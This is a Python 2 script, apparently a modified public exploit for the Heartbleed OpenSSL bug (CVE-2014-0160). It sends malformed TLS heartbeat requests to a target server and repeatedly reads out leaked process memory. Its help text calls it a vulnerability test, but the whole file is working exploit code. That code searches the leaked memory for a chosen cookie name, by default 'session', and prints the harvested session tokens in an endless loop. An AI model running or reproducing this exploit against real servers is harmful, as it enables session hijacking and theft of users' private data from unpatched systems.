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- #!/usr/bin/python
- # Modified by Samiux (on April 11 2014, Version 2) which is based on the code of Michael Davis.
- # Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
- # Michael Davis (mike.philip.davis@gmail.com)
- # Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
- # The author disclaims copyright to this source code.
- import select
- import sys
- import string
- import struct
- import socket
- import time
- from optparse import OptionParser
- options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
- options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
- options.add_option('-c', '--cookie', type='str', default='session', help='Cookie to look for (default: session)')
- options.add_option('-l', '--length', type='int', default=1024, help='Length of the cookie (default: 1024)')
- options.add_option('-t', '--tls', type='int', default=2, help='0=SSLv3, 1=TLSv1, 2=TLSv1.1, 3=TLSv1.2 (default: 2)')
- def h2bin(x):
- return x.replace(' ', '').replace('\n', '').decode('hex')
- hello = h2bin('''
- 16 03 02 00 dc 01 00 00 d8 03 02 53
- 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
- bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
- 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
- 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
- c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
- c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
- c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
- c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
- 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
- 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
- 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
- 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
- 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
- 00 0f 00 01 01
- ''')
- # SSLv3
- hb0 = h2bin('''
- 18 03 00 00 03
- 01 40 00
- ''')
- # TLSv1
- hb1 = h2bin('''
- 18 03 01 00 03
- 01 40 00
- ''')
- # TLSv1.1
- hb2 = h2bin('''
- 18 03 02 00 03
- 01 40 00
- ''')
- # TLS1.2
- hb3 = h2bin('''
- 18 03 03 00 03
- 01 40 00
- ''')
- class HeartBleeder(object):
- server_response = None
- socket = None
- found_sessions = set()
- hostname = ''
- port = 0
- cookie = ''
- cookie_length = 0
- tls = 0
- def __init__(self, hostname='', port=0, cookie='', cookie_length=0, tls=0):
- self.hostname = hostname
- self.cookie = cookie
- self.port = port
- self.cookie_length = cookie_length
- self.tls = tls
- def connect(self):
- """
- Connects to the remote server.
- """
- self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sys.stdout.flush()
- self.socket.connect((self.hostname, self.port))
- sys.stdout.flush()
- self.socket.send(hello)
- sys.stdout.flush()
- def rcv_response(self):
- while True:
- _type, version, payload = self.rcv_message()
- if _type is None:
- print 'Server closed connection without sending Server Hello.'
- return
- # Look for server hello done message.
- if _type == 22 and ord(payload[0]) == 0x0E:
- break
- def rcv_message(self):
- record_header = self.rcv_all(5)
- if record_header is None:
- print 'Unexpected EOF receiving record header - server closed connection'
- return None, None, None
- _type, version, line = struct.unpack('>BHH', record_header)
- payload = self.rcv_all(line, 10)
- if payload is None:
- print 'Unexpected EOF receiving record payload - server closed connection'
- return None, None, None
- return _type, version, payload
- def rcv_all(self, length, timeout=5):
- endtime = time.time() + timeout
- rdata = ''
- remain = length
- while remain > 0:
- rtime = endtime - time.time()
- if rtime < 0:
- return None
- r, w, e = select.select([self.socket], [], [], 5)
- if self.socket in r:
- data = self.socket.recv(remain)
- # EOF?
- if not data:
- return None
- rdata += data
- remain -= len(data)
- return rdata
- def try_heartbeat(self, hb):
- self.socket.send(hb)
- while True:
- _type, version, self.payload = self.rcv_message()
- if _type is None:
- print 'No heartbeat response received, server likely not vulnerable'
- return False
- if _type == 24:
- # print 'Received heartbeat response:'
- self.parse_response()
- if len(self.payload) > 3:
- pass
- else:
- print 'Server processed malformed heartbeat, but did not return any extra data.'
- return True
- if _type == 21:
- print 'Received alert:'
- self.hexdump(self.payload)
- print 'Server returned error, likely not vulnerable'
- return False
- def parse_response(self):
- """
- Parses the response from the server for a session id.
- """
- ascii = ''.join((c if 32 <= ord(c) <= 126 else ' ')for c in self.payload)
- index = string.find(ascii, self.cookie)
- if index >= 0:
- info = ascii[index:index + self.cookie_length]
- session = info.split(' ')[0]
- session = string.replace(session, ';', '')
- if session not in self.found_sessions:
- self.found_sessions.add(session)
- print session
- def hexdump(self, payload):
- """
- Prints out a hexdump in the event that server returns an error.
- """
- for b in xrange(0, len(payload), 16):
- line = [c for c in payload[b:b + 16]]
- hxdat = ' '.join('%02X' % ord(c) for c in line)
- pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in line)
- print ' %04x: %-48s %s' % (b, hxdat, pdat)
- print
- def scan(self, hb):
- self.connect()
- self.rcv_response()
- self.try_heartbeat(hb)
- def main():
- opts, args = options.parse_args()
- if len(args) < 1:
- options.print_help()
- return
- if opts.tls == 0:
- hb = hb0
- elif opts.tls == 1:
- hb = hb1
- elif opts.tls == 2:
- hb = hb2
- elif opts.tls == 3:
- hb = hb3
- else:
- hb = hb2
- print 'Port :', opts.port
- print 'Cookie :', opts.cookie
- print 'Length :', opts.length
- print 'TLS :', opts.tls
- print ''
- while True:
- heartbeat = HeartBleeder(hostname=args[0], port=opts.port, cookie=opts.cookie, cookie_length=opts.length)
- heartbeat.scan(hb)
- if __name__ == '__main__':
- main()
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